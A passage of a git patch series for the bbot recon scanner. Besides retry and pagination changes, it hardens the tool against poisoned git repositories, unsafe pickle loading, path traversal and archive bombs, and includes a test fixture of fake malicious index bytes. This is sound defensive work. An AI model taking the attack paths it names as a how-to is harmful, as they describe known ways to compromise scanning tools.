self._wakeup_pending = True - self.helpers.create_task(self._deferred_wakeup(delay)) + if not self._wakeup_target or earliest < self._wakeup_target: + delay = max(0.1, earliest - time.monotonic()) + self._wakeup_target = earliest + self.helpers.create_task(self._deferred_wakeup(delay)) return headers = self._build_headers() @@ -339,14 +344,18 @@ async def resolve_https(key, result): ) continue + # Non-429 response -- clear any retry tracking for this URL + _retry_parent = stdin.get(result.url) + if _retry_parent is not None: + self._429_retry_counts.pop(self._incoming_dedup_hash(_retry_parent), None) + key = paired_probe_urls.get(result.url) if key is None: # Non-paired URL -- emit immediately - parent_event = stdin.get(result.url) - if parent_event is None: + if _retry_parent is None: self.warning(f"Unable to correlate parent event for: {result.url}") continue - await self._process_result(result, parent_event) + await self._process_result(result, _retry_parent) continue # Paired OPEN_TCP_PORT probe diff --git a/bbot/test/test_step_2/module_tests/test_module_http.py b/bbot/test/test_step_2/module_tests/test_module_http.py index ce1e372ef5..e934a87fc7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_http.py +++ b/bbot/test/test_step_2/module_tests/test_module_http.py @@ -178,6 +178,14 @@ def check(self, module_test, events): class TestHTTP_429_retry(ModuleTestBase): + """Test the module's own defer→cooldown→retry→succeed path. + + blasthttp_retries=1 means blasthttp makes up to 2 wire attempts per request. + We return 429 for the first 2 requests (exhausting blasthttp's retry), + so the module's 429 handler engages and defers with a cooldown. The 3rd + request (from the module's retry after cooldown) succeeds. + """ + targets = ["http://127.0.0.1:8888"] modules_overrides = ["http"] config_overrides = {"web": {"429_sleep_interval": 1, "429_max_sleep_interval": 1}} @@ -187,14 +195,14 @@ async def setup_after_prep(self, module_test): def handler(request): self.request_count += 1 - if self.request_count <= 1: + if self.request_count <= 2: return Response("rate limited", status=429, headers={"Retry-After": "1"}) return Response("<html><body>OK</body></html>") module_test.httpserver.expect_request("/").respond_with_handler(handler) def check(self, module_test, events): - assert self.request_count >= 2, "Expected retry after 429" + assert self.request_count >= 3, "Expected at least 3 requests (2 blasthttp attempts + 1 module retry)" assert any(e.type == "URL" and "status-200" in e.tags for e in events), ( "Expected URL with status-200 after successful retry" ) From 0687a3a629f6d0f358e2d082c19252ebfc69f64d Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 20:14:23 -0400 Subject: [PATCH 834/912] Add optional API key + cursor pagination to certspotter --- bbot/modules/certspotter.py | 46 +++++++++++++++++++ .../module_tests/test_module_certspotter.py | 40 ++++++++++++++++ 2 files changed, 86 insertions(+) diff --git a/bbot/modules/certspotter.py b/bbot/modules/certspotter.py index 1a2c995bb5..d3f06cfba7 100644 --- a/bbot/modules/certspotter.py +++ b/bbot/modules/certspotter.py @@ -1,4 +1,5 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum +from bbot.core.config.models import BaseModuleConfig, Field class certspotter(subdomain_enum): @@ -11,12 +12,57 @@ class certspotter(subdomain_enum): "author": "@TheTechromancer", } + class Config(BaseModuleConfig): + api_key: str = Field( + "", description="SSLMate API key (enables pagination and higher rate limits)", sensitive=True + ) + base_url = "https://api.certspotter.com/v1" + async def setup(self): + self.api_key = self.config.get("api_key", "") + return await super().setup() + def request_url(self, query): url = f"{self.base_url}/issuances?domain={self.helpers.quote(query)}&include_subdomains=true&expand=dns_names" return self.api_request(url) + async def handle_event(self, event): + if not self.api_key: + return await super().handle_event(event) + query = self.make_query(event) + after = None + while True: + url = f"{self.base_url}/issuances?domain={self.helpers.quote(query)}&include_subdomains=true&expand=dns_names" + if after is not None: + url += f"&after={after}" + response = await self.api_request(url) + if response is None: + break + try: + json_data = response.json() + except Exception: + break + if not json_data or not isinstance(json_data, list): + break + for hostname in await self.parse_results(response, query): + if hostname: + try: + hostname = self.helpers.validators.validate_host(hostname) + except ValueError: + continue + if hostname and hostname.endswith(f".{query}") and hostname != event.data: + await self.emit_event( + hostname, + "DNS_NAME", + event, + abort_if=self.abort_if, + context=f'{{module}} searched {self.source_pretty_name} for "{query}" and found {{event.type}}: {{event.pretty_string}}', + ) + after = json_data[-1].get("id") + if after is None: + break + async def parse_results(self, r, query): results = set() json = r.json() diff --git a/bbot/test/test_step_2/module_tests/test_module_certspotter.py b/bbot/test/test_step_2/module_tests/test_module_certspotter.py index aac235af45..3540b5db1a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_certspotter.py +++ b/bbot/test/test_step_2/module_tests/test_module_certspotter.py @@ -14,6 +14,46 @@ def check(self, module_test, events): assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" +class TestCertspotterPaginated(ModuleTestBase): + module_name = "certspotter" + config_overrides = {"modules": {"certspotter": {"api_key": "test_key"}}} + + base_url = "https://api.certspotter.com/v1/issuances" + + async def setup_after_prep(self, module_test): + module_test.module.abort_if = lambda e: False + await module_test.mock_dns( + { + "page1.blacklanternsecurity.com": {"A": ["127.0.0.1"]}, + "also-page1.blacklanternsecurity.com": {"A": ["127.0.0.2"]}, + "page2.blacklanternsecurity.com": {"A": ["127.0.0.3"]}, + } + ) + module_test.blasthttp_mock.add_response( + url=f"{self.base_url}?domain=blacklanternsecurity.com&include_subdomains=true&expand=dns_names", + json=[ + {"id": 100, "dns_names": ["page1.blacklanternsecurity.com"]}, + {"id": 200, "dns_names": ["also-page1.blacklanternsecurity.com"]}, + ], + ) + module_test.blasthttp_mock.add_response( + url=f"{self.base_url}?domain=blacklanternsecurity.com&include_subdomains=true&expand=dns_names&after=200", + json=[ + {"id": 300, "dns_names": ["page2.blacklanternsecurity.com"]}, + ], + ) + module_test.blasthttp_mock.add_response( + url=f"{self.base_url}?domain=blacklanternsecurity.com&include_subdomains=true&expand=dns_names&after=300", + json=[], + ) + + def check(self, module_test, events): + dns_names = {e.data for e in events if e.type == "DNS_NAME"} + assert "page1.blacklanternsecurity.com" in dns_names, "Missing page 1 result" + assert "also-page1.blacklanternsecurity.com" in dns_names, "Missing page 1 second result" + assert "page2.blacklanternsecurity.com" in dns_names, "Missing page 2 result" + + class TestCertspotterRateLimited(ModuleTestBase): module_name = "certspotter" modules_overrides = ["certspotter"] From 44a803798fa7b56e53f19d883ac0f42c9c37598a Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 22:20:31 -0400 Subject: [PATCH 835/912] Harden pickle unpickler in webbrute_shortnames Restrict CustomUnpickler.find_class to only allow MinimalWordPredictor instead of falling through to the default find_class, which permits arbitrary class instantiation. --- bbot/modules/webbrute_shortnames.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/webbrute_shortnames.py b/bbot/modules/webbrute_shortnames.py index 73ddb9521f..c4cecdcaba 100644 --- a/bbot/modules/webbrute_shortnames.py +++ b/bbot/modules/webbrute_shortnames.py @@ -124,7 +124,7 @@ class CustomUnpickler(pickle.Unpickler): def find_class(self, module, name): if name == "MinimalWordPredictor": return MinimalWordPredictor - return super().find_class(module, name) + raise pickle.UnpicklingError(f"Forbidden class: {module}.{name}") self.info("Loading shortname prediction models, could take a while if not cached") endpoint_model = await self.helpers.wordlist( From ed9f6a4afe61f6be4ef8ded4008d37f02510e680 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 23:05:30 -0400 Subject: [PATCH 836/912] Allow numpy classes in shortnames pickle unpickler --- bbot/modules/webbrute_shortnames.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bbot/modules/webbrute_shortnames.py b/bbot/modules/webbrute_shortnames.py index c4cecdcaba..0883c22d3c 100644 --- a/bbot/modules/webbrute_shortnames.py +++ b/bbot/modules/webbrute_shortnames.py @@ -124,6 +124,8 @@ class CustomUnpickler(pickle.Unpickler): def find_class(self, module, name): if name == "MinimalWordPredictor": return MinimalWordPredictor + if module.startswith("numpy"): + return super().find_class(module, name) raise pickle.UnpicklingError(f"Forbidden class: {module}.{name}") self.info("Loading shortname prediction models, could take a while if not cached") From 6cb750a95378817e1af9f16f2dc8b55a2c47da0d Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 21:53:19 -0400 Subject: [PATCH 837/912] Fix arbitrary file write in postman_download via path traversal --- bbot/modules/postman_download.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/bbot/modules/postman_download.py b/bbot/modules/postman_download.py index 3ddc0cd622..cb40741ef5 100644 --- a/bbot/modules/postman_download.py +++ b/bbot/modules/postman_download.py @@ -61,15 +61,18 @@ async def handle_event(self, event): def save_workspace(self, workspace, environments, collections): zip_path = None - # Create a folder for the workspace name = workspace["name"] id = workspace["id"] - folder = self.output_dir / name + safe_name = self.helpers.tagify(name) + folder = self.output_dir / safe_name + if not folder.resolve().is_relative_to(self.output_dir.resolve()): + self.warning(f"Workspace name {name!r} resulted in path traversal, skipping") + return None self.helpers.mkdir(folder) zip_path = folder / f"{id}.zip" # Main Workspace - self.add_json_to_zip(zip_path, workspace, f"{name}.postman_workspace.json") + self.add_json_to_zip(zip_path, workspace, f"{safe_name}.postman_workspace.json") # Workspace Environments if environments: @@ -81,7 +84,8 @@ def save_workspace(self, workspace, environments, collections): if collections: for collection in collections: collection_name = collection["info"]["name"] - self.add_json_to_zip(zip_path, collection, f"{collection_name}.postman_collection.json") + safe_collection_name = self.helpers.tagify(collection_name) + self.add_json_to_zip(zip_path, collection, f"{safe_collection_name}.postman_collection.json") return zip_path def add_json_to_zip(self, zip_path, data, filename): From 8c305228fa4a9e41c01d8ba55e8b465e222bf21e Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 22:37:48 -0400 Subject: [PATCH 838/912] Defense-in-depth hardening for git and apkpure modules - gitdumper: validate downloaded file paths stay within repo dir - gitdumper/git_clone: pass safe config flags to all git commands (disable fsmonitor, symlinks, sshCommand; enable fsckObjects) - apkpure: reject app_id values containing path separators --- bbot/modules/apkpure.py | 3 +++ bbot/modules/git_clone.py | 12 +++++++++++- bbot/modules/gitdumper.py | 21 +++++++++++++++++---- 3 files changed, 31 insertions(+), 5 deletions(-) diff --git a/bbot/modules/apkpure.py b/bbot/modules/apkpure.py index 41fbda3da3..63f5e7563e 100644 --- a/bbot/modules/apkpure.py +++ b/bbot/modules/apkpure.py @@ -49,6 +49,9 @@ async def handle_event(self, event): async def download_apk(self, app_id): path = None + if "/" in app_id or "\\" in app_id or ".." in app_id: + self.warning(f"Unsafe app_id, skipping: {app_id}") + return path url = f"https://d.apkpure.com/b/XAPK/{app_id}?version=latest" self.helpers.mkdir(self.output_dir / app_id) response = await self.helpers.request(url, allow_redirects=True) diff --git a/bbot/modules/git_clone.py b/bbot/modules/git_clone.py index 38f946f334..44ae16a885 100644 --- a/bbot/modules/git_clone.py +++ b/bbot/modules/git_clone.py @@ -52,7 +52,17 @@ async def clone_git_repository(self, repository_url): folder = self.output_dir / owner self.helpers.mkdir(folder) - command = ["git", "-C", folder, "clone", repository_url] + safe_flags = [ + "-c", + "core.fsmonitor=false", + "-c", + "core.sshCommand=echo", + "-c", + "core.symlinks=false", + "-c", + "transfer.fsckObjects=true", + ] + command = ["git"] + safe_flags + ["-C", folder, "clone", repository_url] env = {"GIT_TERMINAL_PROMPT": "0"} try: diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py index 62c6f4d288..bffd1f69a3 100644 --- a/bbot/modules/gitdumper.py +++ b/bbot/modules/gitdumper.py @@ -267,7 +267,10 @@ async def download_files(self, urls, folder): for url in urls: git_index = url.path.find(".git") file_url = url.geturl() - filename = folder / url.path[git_index:] + filename = (folder / url.path[git_index:]).resolve() + if not filename.is_relative_to(folder.resolve()): + self.warning(f"Path traversal detected, skipping: {url.path}") + continue self.helpers.mkdir(filename.parent) if hash(str(file_url)) not in self.urls_downloaded: self.verbose(f"Downloading {file_url} to {filename}") @@ -279,8 +282,19 @@ async def download_files(self, urls, folder): self.debug(f"Unable to download git files to {folder}") return False + _safe_git_flags = [ + "-c", + "core.fsmonitor=false", + "-c", + "core.sshCommand=echo", + "-c", + "core.symlinks=false", + "-c", + "transfer.fsckObjects=true", + ] + async def git_catfile(self, hash, option="-t", folder=Path()): - command = ["git", "cat-file", option, hash] + command = ["git"] + self._safe_git_flags + ["cat-file", option, hash] try: output = await self.run_process(command, env={"GIT_TERMINAL_PROMPT": "0"}, cwd=folder, check=True) except CalledProcessError: @@ -291,8 +305,7 @@ async def git_catfile(self, hash, option="-t", folder=Path()): async def git_checkout(self, folder): self.helpers.sanitize_git_repo(folder) self.verbose(f"Running git checkout to reconstruct the git repository at {folder}") - # we do "checkout head -- ." because the sanitization deletes the index file, and it needs to be reconstructed - command = ["git", "checkout", "HEAD", "--", "."] + command = ["git"] + self._safe_git_flags + ["checkout", "HEAD", "--", "."] try: await self.run_process(command, env={"GIT_TERMINAL_PROMPT": "0"}, cwd=folder, check=True) except CalledProcessError as e: From 933d3b84c60916b241adf1276a1d4dc8b42a3017 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 22:44:54 -0400 Subject: [PATCH 839/912] Harden gitdumper against CVE-2025-10283 index poisoning Write a valid empty git index when checkout fails, preventing attacker-controlled index entries from surviving. --- bbot/modules/gitdumper.py | 14 ++++++++- .../module_tests/test_module_gitdumper.py | 31 +++++++++++++++++++ 2 files changed, 44 insertions(+), 1 deletion(-) diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py index bffd1f69a3..791347fb9c 100644 --- a/bbot/modules/gitdumper.py +++ b/bbot/modules/gitdumper.py @@ -309,5 +309,17 @@ async def git_checkout(self, folder): try: await self.run_process(command, env={"GIT_TERMINAL_PROMPT": "0"}, cwd=folder, check=True) except CalledProcessError as e: - # Still emit the event even if the checkout fails self.debug(f"Error running git checkout in {folder}. STDERR: {repr(e.stderr)}") + self._write_empty_index(folder) + + @staticmethod + def _write_empty_index(folder): + """Replace the index with a valid empty one so downstream tools + never read attacker-controlled index entries (CVE-2025-10283).""" + import hashlib + import struct + + header = b"DIRC" + struct.pack(">II", 2, 0) + index_path = folder / ".git" / "index" + if index_path.exists(): + index_path.write_bytes(header + hashlib.sha1(header).digest()) diff --git a/bbot/test/test_step_2/module_tests/test_module_gitdumper.py b/bbot/test/test_step_2/module_tests/test_module_gitdumper.py index 0d52699b61..cacf6f9f8a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_gitdumper.py +++ b/bbot/test/test_step_2/module_tests/test_module_gitdumper.py @@ -1,3 +1,5 @@ +import hashlib +import struct from pathlib import Path from .base import ModuleTestBase from bbot.test.bbot_fixtures import bbot_test_dir @@ -385,3 +387,32 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests( expect_args={"uri": "/test/.git/logs/HEAD"}, respond_args={"response_data": self.logs_head} ) + + +class TestGitDumper_WriteEmptyIndex: + def test_replaces_malicious_index(self, tmp_path): + from bbot.modules.gitdumper import gitdumper + + git_dir = tmp_path / ".git" + git_dir.mkdir() + index_path = git_dir / "index" + index_path.write_bytes(b"DIRC\x00\x00\x00\x02\x00\x00\x00\x01" + b"\x41" * 100) + + gitdumper._write_empty_index(tmp_path) + + data = index_path.read_bytes() + assert data[:4] == b"DIRC" + version, num_entries = struct.unpack(">II", data[4:12]) + assert version == 2 + assert num_entries == 0 + assert data[12:] == hashlib.sha1(data[:12]).digest() + + def test_no_op_when_index_missing(self, tmp_path): + from bbot.modules.gitdumper import gitdumper + + git_dir = tmp_path / ".git" + git_dir.mkdir() + + gitdumper._write_empty_index(tmp_path) + + assert not (git_dir / "index").exists() From 85ab2e502872fac559bf6502a429a25fbcb7d8d9 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 22:49:05 -0400 Subject: [PATCH 840/912] Fix postman_download test for tagified workspace name --- .../test_step_2/module_tests/test_module_postman_download.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_postman_download.py b/bbot/test/test_step_2/module_tests/test_module_postman_download.py index 3c1b4c0ed0..64e4069e91 100644 --- a/bbot/test/test_step_2/module_tests/test_module_postman_download.py +++ b/bbot/test/test_step_2/module_tests/test_module_postman_download.py @@ -299,7 +299,7 @@ def check(self, module_test, events): e for e in events if e.type == "FILESYSTEM" - and "postman_workspaces/BlackLanternSecurity BBOT [Public]" in e.data["path"] + and "postman_workspaces/blacklanternsecurity-bbot-public" in e.data["path"] and "postman" in e.tags and e.scope_distance == 1 ] From a9dedebcc99a994fcda39f32e48466df5d339f19 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 22:57:43 -0400 Subject: [PATCH 841/912] Harden preload cache pickle and unarchive extraction Restrict preload cache deserialization to block arbitrary class instantiation. Cap unarchive extracted size at 1 GB. --- bbot/core/modules.py | 8 +++++++- bbot/modules/internal/unarchive.py | 10 ++++++++++ 2 files changed, 17 insertions(+), 1 deletion(-) diff --git a/bbot/core/modules.py b/bbot/core/modules.py index f0ec78aa04..233fc87608 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -30,6 +30,12 @@ log = logging.getLogger("bbot.module_loader") + +class _SafeUnpickler(pickle.Unpickler): + def find_class(self, module, name): + raise pickle.UnpicklingError(f"Forbidden class: {module}.{name}") + + bbot_code_dir = Path(__file__).parent.parent @@ -450,7 +456,7 @@ def preload_cache(self): if self.preload_cache_file.is_file(): with suppress(Exception): with open(self.preload_cache_file, "rb") as f: - self._preload_cache = pickle.load(f) + self._preload_cache = _SafeUnpickler(f).load() return self._preload_cache @preload_cache.setter diff --git a/bbot/modules/internal/unarchive.py b/bbot/modules/internal/unarchive.py index 7a9bc94eba..dc928e6b97 100644 --- a/bbot/modules/internal/unarchive.py +++ b/bbot/modules/internal/unarchive.py @@ -14,6 +14,8 @@ class unarchive(BaseInternalModule): "author": "@domwhewell-sage", } + _max_extracted_size = 1_000_000_000 # 1 GB + async def setup(self): self.ignore_compressions = ["application/java-archive", "application/vnd.android.package-archive"] self.compression_methods = { @@ -82,6 +84,14 @@ async def extract_file(self, path, output_dir): command = [s.format(filename=path, extract_dir=output_dir) for s in cmd_list] try: await self.run_process(command, check=True) + extracted_size = sum(f.stat().st_size for f in output_dir.rglob("*") if f.is_file()) + if extracted_size > self._max_extracted_size: + self.helpers.rm_rf(output_dir) + self.warning( + f"Extracted size {extracted_size:,} bytes exceeds limit " + f"({self._max_extracted_size:,} bytes), removing {output_dir}" + ) + return False for item in output_dir.iterdir(): if item.is_file(): await self.extract_file(item, output_dir / item.stem) From 35e1692e2bd60220cfb8751dcd53880918e008c2 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Tue, 16 Jun 2026 23:17:02 -0400 Subject: [PATCH 842/912] Fix unarchive decompression bomb: pre-check size, cumulative budget Pre-check declared uncompressed size from 7z/tar listing before extracting. Thread a shared byte budget through recursive calls so nested archives cannot bypass the cap independently. --- bbot/modules/internal/unarchive.py | 44 +++++++++++++++++++++++------- 1 file changed, 34 insertions(+), 10 deletions(-) diff --git a/bbot/modules/internal/unarchive.py b/bbot/modules/internal/unarchive.py index dc928e6b97..060aa52828 100644 --- a/bbot/modules/internal/unarchive.py +++ b/bbot/modules/internal/unarchive.py @@ -53,7 +53,8 @@ async def handle_event(self, event): # Use the appropriate extraction method based on the file type self.info(f"Extracting {path} to {output_dir}") - success = await self.extract_file(path, output_dir) + budget = [self._max_extracted_size] + success = await self.extract_file(path, output_dir, budget) # If the extraction was successful, emit the event if success: @@ -68,7 +69,9 @@ async def handle_event(self, event): with suppress(OSError): output_dir.rmdir() - async def extract_file(self, path, output_dir): + async def extract_file(self, path, output_dir, budget=None): + if budget is None: + budget = [self._max_extracted_size] extension, mime_type, description, confidence = get_magic_info(path) compression_format = get_compression(mime_type) cmd_list = self.compression_methods.get(compression_format, []) @@ -79,28 +82,26 @@ async def extract_file(self, path, output_dir): except FileExistsError: self.warning(f"Destination directory {output_dir} already exists, aborting unarchive for {path}") return False - if not await self._check_archive_safe(path, compression_format): + if not await self._check_archive_safe(path, compression_format, budget): return False command = [s.format(filename=path, extract_dir=output_dir) for s in cmd_list] try: await self.run_process(command, check=True) extracted_size = sum(f.stat().st_size for f in output_dir.rglob("*") if f.is_file()) - if extracted_size > self._max_extracted_size: + budget[0] -= extracted_size + if budget[0] < 0: self.helpers.rm_rf(output_dir) - self.warning( - f"Extracted size {extracted_size:,} bytes exceeds limit " - f"({self._max_extracted_size:,} bytes), removing {output_dir}" - ) + self.warning(f"Cumulative extracted size exceeds limit, removing {output_dir}") return False for item in output_dir.iterdir(): if item.is_file(): - await self.extract_file(item, output_dir / item.stem) + await self.extract_file(item, output_dir / item.stem, budget) except Exception as e: self.warning(f"Error extracting {path}. Error: {e}") return False return True - async def _check_archive_safe(self, path, compression_format): + async def _check_archive_safe(self, path, compression_format, budget=None): if compression_format in ("zip", "7z"): result = await self.run_process(["7z", "l", "-slt", str(path)]) output_lines = result.stdout.splitlines() @@ -113,15 +114,38 @@ async def _check_archive_safe(self, path, compression_format): ): self.warning(f"Archive {path} contains symlink or link entry") return False + # check declared uncompressed size before extracting + declared_size = 0 + for line in output_lines: + if line.startswith("Size = "): + with suppress(ValueError): + declared_size += int(line.split("= ", 1)[1].strip()) + if budget is not None and declared_size > budget[0]: + self.warning( + f"Archive {path} declared size {declared_size:,} bytes exceeds remaining budget " + f"({budget[0]:,} bytes), skipping" + ) + return False else: result = await self.run_process(["tar", "-tf", str(path)]) entries = result.stdout.splitlines() # reject symlink/hardlink entries via verbose listing verbose = await self.run_process(["tar", "-tvf", str(path)]) + declared_size = 0 for line in verbose.stdout.splitlines(): if line and line[0] in ("l", "h"): self.warning(f"Archive {path} contains symlink or hardlink entry") return False + parts = line.split() + if len(parts) >= 3: + with suppress(ValueError): + declared_size += int(parts[2]) + if budget is not None and declared_size > budget[0]: + self.warning( + f"Archive {path} declared size {declared_size:,} bytes exceeds remaining budget " + f"({budget[0]:,} bytes), skipping" + ) + return False for entry in entries: entry = entry.strip() if not entry: From ca896573504ded35dc7b7a12ee99d84021b05e6a Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 00:10:50 -0400 Subject: [PATCH 843/912] Write safe .git/config in sanitize_git_repo for trufflehog compat Also fix tagified postman workspace path in trufflehog test assertions. --- bbot/core/helpers/git.py | 19 +++++++++++++++++-- .../module_tests/test_module_trufflehog.py | 4 ++-- 2 files changed, 19 insertions(+), 4 deletions(-) diff --git a/bbot/core/helpers/git.py b/bbot/core/helpers/git.py index 0f522b0f83..9693855257 100644 --- a/bbot/core/helpers/git.py +++ b/bbot/core/helpers/git.py @@ -1,12 +1,27 @@ from pathlib import Path +_SAFE_GIT_CONFIG = """\ +[core] +\trepositoryformatversion = 0 +\tfilemode = true +\tbare = false +\tlogallrefupdates = true +\tfsmonitor = false +\tsymlinks = false +\tsshCommand = echo +[transfer] +\tfsckObjects = true +""" + + def sanitize_git_repo(repo_folder: Path): - # sanitizing the git config is infeasible since there are too many different ways to do evil things - # instead, we move it out of .git and into the repo folder, so we don't miss any secrets etc. inside + # replace the git config with a safe one that neutralizes dangerous directives + # the original is preserved in the repo folder so secret-scanning tools can still inspect it config_file = repo_folder / ".git" / "config" if config_file.exists(): config_file.rename(repo_folder / "git_config_original") + config_file.write_text(_SAFE_GIT_CONFIG) # leave .git/index in place -- it's binary metadata (filename-to-SHA mappings), # not a security risk, and removing it breaks tools that need to clone the repo # move the hooks folder diff --git a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py index 21a4cfbbf8..0e9ba6332a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_trufflehog.py +++ b/bbot/test/test_step_2/module_tests/test_module_trufflehog.py @@ -1239,7 +1239,7 @@ def check(self, module_test, events): e for e in filesystem_events if e.data["path"].endswith( - "/postman_workspaces/BlackLanternSecurity BBOT [Public]/3a7e4bdc-7ff7-4dd4-8eaa-61ddce1c3d1b.zip" + "/postman_workspaces/blacklanternsecurity-bbot-public/3a7e4bdc-7ff7-4dd4-8eaa-61ddce1c3d1b.zip" ) and Path(e.data["path"]).is_file() ] @@ -1310,7 +1310,7 @@ def check(self, module_test, events): e for e in filesystem_events if e.data["path"].endswith( - "/postman_workspaces/BlackLanternSecurity BBOT [Public]/3a7e4bdc-7ff7-4dd4-8eaa-61ddce1c3d1b.zip" + "/postman_workspaces/blacklanternsecurity-bbot-public/3a7e4bdc-7ff7-4dd4-8eaa-61ddce1c3d1b.zip" ) and Path(e.data["path"]).is_file() ] From 388ba58768fd12c3102a184cdabf243de240ecba Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 09:47:52 -0400 Subject: [PATCH 844/912] Set PR_SET_PDEATHSIG on process pool workers to prevent zombie accumulation When the parent process is killed without cleanup (OOM, SIGKILL, etc.), ProcessPoolExecutor workers become orphans that sit forever on dead IPC pipes. Setting PR_SET_PDEATHSIG(SIGTERM) in the worker initializer makes the kernel signal workers on parent death, regardless of how the parent died. --- bbot/core/helpers/helper.py | 18 +++++++++- bbot/test/test_step_1/test_helpers.py | 48 +++++++++++++++++++++++++++ 2 files changed, 65 insertions(+), 1 deletion(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index abc1491fa4..a423ae3dd0 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -1,5 +1,8 @@ import os import sys +import signal +import ctypes +import ctypes.util import asyncio import logging from pathlib import Path @@ -24,6 +27,19 @@ log = logging.getLogger("bbot.core.helpers") +_PR_SET_PDEATHSIG = 1 + + +def _pool_worker_init(): + """Set PR_SET_PDEATHSIG so pool workers die when the parent process dies. + + Linux-only. Prevents zombie worker accumulation after OOM kills, SIGKILL, etc. + """ + if not hasattr(os, "uname") or os.uname().sysname != "Linux": + return + libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) + libc.prctl(_PR_SET_PDEATHSIG, signal.SIGTERM, 0, 0, 0) + class ConfigAwareHelper: """ @@ -220,7 +236,7 @@ def _create_process_pool(): # we spawn 1 fewer processes than cores # this helps to avoid locking up the system or competing with the main python process for cpu time num_processes = max(1, mp.cpu_count() - 1) - pool_kwargs = {"max_workers": num_processes} + pool_kwargs = {"max_workers": num_processes, "initializer": _pool_worker_init} # max_tasks_per_child replaces workers after N tasks, preventing memory leaks # and reducing the chance of a degraded worker process causing hangs if sys.version_info >= (3, 11): diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index b757966bb7..310bda74aa 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -1,3 +1,6 @@ +import os +import sys +import time import asyncio import datetime import ipaddress @@ -1004,6 +1007,51 @@ async def test_run_in_executor_mp(helpers): assert result == sum(range(50_000)) +@pytest.mark.skipif(not hasattr(os, "uname") or os.uname().sysname != "Linux", reason="PR_SET_PDEATHSIG is Linux-only") +def test_pool_workers_die_with_parent(): + """Pool workers must not survive when the parent is SIGKILL'd (OOM, crash, etc.).""" + import json + import signal + import subprocess + + script = """ +import os, sys, json, time +from bbot.core.helpers.helper import ConfigAwareHelper + +pool = ConfigAwareHelper._create_process_pool() +# submit blocking work so workers are alive +futures = [pool.submit(time.sleep, 3600) for _ in range(2)] +time.sleep(0.5) +pids = [p.pid for p in pool._processes.values()] +print(json.dumps(pids), flush=True) +time.sleep(3600) +""" + proc = subprocess.Popen([sys.executable, "-c", script], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + line = proc.stdout.readline() + worker_pids = json.loads(line) + assert len(worker_pids) >= 2 + + # simulate OOM kill + os.kill(proc.pid, signal.SIGKILL) + proc.wait() + + time.sleep(2) + + alive = [] + for pid in worker_pids: + try: + os.kill(pid, 0) + alive.append(pid) + except OSError: + pass + + # clean up survivors so they don't leak into other tests + for pid in alive: + os.kill(pid, signal.SIGKILL) + + assert not alive, f"Pool workers {alive} survived parent SIGKILL (zombie leak)" + + def test_simhash_similarity(helpers): """Test SimHash helper with increasingly different HTML pages.""" From 8f05837834f6be0cf9e85f7502545f6e407af699 Mon Sep 17 00:00:00 2001 From: liquidsec <paul.mueller08@gmail.com> Date: Wed, 17 Jun 2026 10:10:40 -0400 Subject: [PATCH 845/912] Fix test: avoid bbot import in subprocess, remove Linux-only skip The test subprocess imported bbot which sets mp.set_start_method("spawn"), making workers slow to initialize (full bbot import per worker). In CI containers the 0.5s sleep wasn't enough for workers to call prctl before the parent was killed. Now the test is self-contained with no bbot imports, uses a temp file so spawn-mode workers can import the initializer, and gives workers 2s to start. --- bbot/core/helpers/helper.py | 4 +- bbot/test/test_step_1/test_helpers.py | 71 ++++++++++++++++----------- 2 files changed, 43 insertions(+), 32 deletions(-) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index a423ae3dd0..7e337dfd47 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -33,10 +33,8 @@ def _pool_worker_init(): """Set PR_SET_PDEATHSIG so pool workers die when the parent process dies. - Linux-only. Prevents zombie worker accumulation after OOM kills, SIGKILL, etc. + Prevents zombie worker accumulation after OOM kills, SIGKILL, etc. """ - if not hasattr(os, "uname") or os.uname().sysname != "Linux": - return libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True) libc.prctl(_PR_SET_PDEATHSIG, signal.SIGTERM, 0, 0, 0) diff --git 